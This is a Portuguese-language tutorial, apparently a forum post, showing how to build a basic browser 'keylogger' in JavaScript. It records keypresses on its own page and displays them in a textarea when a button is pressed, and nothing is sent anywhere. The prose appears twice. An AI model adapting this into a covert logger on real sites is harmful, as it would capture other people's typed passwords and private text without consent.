Olá, novamente venho trazer-lhes um tutorial sobre Javascript, hoje vamos aprender a fazer um simples keylogger com Javascript não é possível fazer muita coisa com ele sem experiência com Javascript, mas conhecimento sempre é bom...
Nosso objetivo aqui é capturar o evento quando o usuário pressionar alguma tecla e então salvar as informações referentes em algum local.
A primeira coisa a se fazer é criar um array vazio onde vamos salvar essas teclas posteriormente:
Agora o que faremos, é criar uma função para capturar o evento e então salva a respectiva tecla dentro do nosso array
E agora vamos finalizar pegando o valor e salvando em algum lugar.. No meu caso vou adicionar a um textarea quando clicarmos em um botão, vou deixar o código completo para vocês no final...
Vamos testar? Crie um novo documento com o nome keylogger.html e salve o seguinte conteúdo nele:
Agora abra no seu navegador e digite alguma frase (não no textarea, em qualquer lugar fora dele mesmo), em seguida clique no botão carregar keys e veja o resultado..
No meu caso consegui isso:
Isso é só um exemplo básico... Mas ja é uma "luz" para todos...
Show de bola né?
Abraços, e até uma próxima...
"Conhecimento não é crime!! O que você faz com ele, pode virar um!!"
Nosso objetivo aqui é capturar o evento quando o usuário pressionar alguma tecla e então salvar as informações referentes em algum local.
A primeira coisa a se fazer é criar um array vazio onde vamos salvar essas teclas posteriormente:
- Código:
window.addEventListener('DOMContentLoaded', function(){
var keystrokes = [];
});
Agora o que faremos, é criar uma função para capturar o evento e então salva a respectiva tecla dentro do nosso array
- Código:
window.addEventListener('DOMContentLoaded', function(){
var keystrokes = [];
document.addEventListener('keypress', function(){
keystrokes.push(String.fromCharCode(window.event.keyCode));
})
});
E agora vamos finalizar pegando o valor e salvando em algum lugar.. No meu caso vou adicionar a um textarea quando clicarmos em um botão, vou deixar o código completo para vocês no final...
- Código:
window.addEventListener('DOMContentLoaded', function(){
var keystrokes = [];
document.addEventListener('keypress', function(){
keystrokes.push(String.fromCharCode(window.event.keyCode));
});
document.getElementById('key').addEventListener('click', function(){
var keylogger = document.getElementById('keylogger');
keylogger.value = keylogger.value + keystrokes.join(" ");
keystrokes = [];
});
});
Vamos testar? Crie um novo documento com o nome keylogger.html e salve o seguinte conteúdo nele:
- Código:
<h1>Keylogger</h1>
<textarea id="keylogger" style="width:600px;min-height:200px"></textarea>
<button id="key">Carregar keys</button>
<script>
window.addEventListener('DOMContentLoaded', function(){
var keystrokes = [];
document.addEventListener('keypress', function(){
keystrokes.push(String.fromCharCode(window.event.keyCode));
});
document.getElementById('key').addEventListener('click', function(){
var keylogger = document.getElementById('keylogger');
keylogger.value = keylogger.value + keystrokes.join(" ");
keystrokes = [];
});
});
</script>
Agora abra no seu navegador e digite alguma frase (não no textarea, em qualquer lugar fora dele mesmo), em seguida clique no botão carregar keys e veja o resultado..
No meu caso consegui isso:
s e u p r i m e i r o k e y l o g g e r e m j a v a s c r i p t
Isso é só um exemplo básico... Mas ja é uma "luz" para todos...
Show de bola né?
Abraços, e até uma próxima...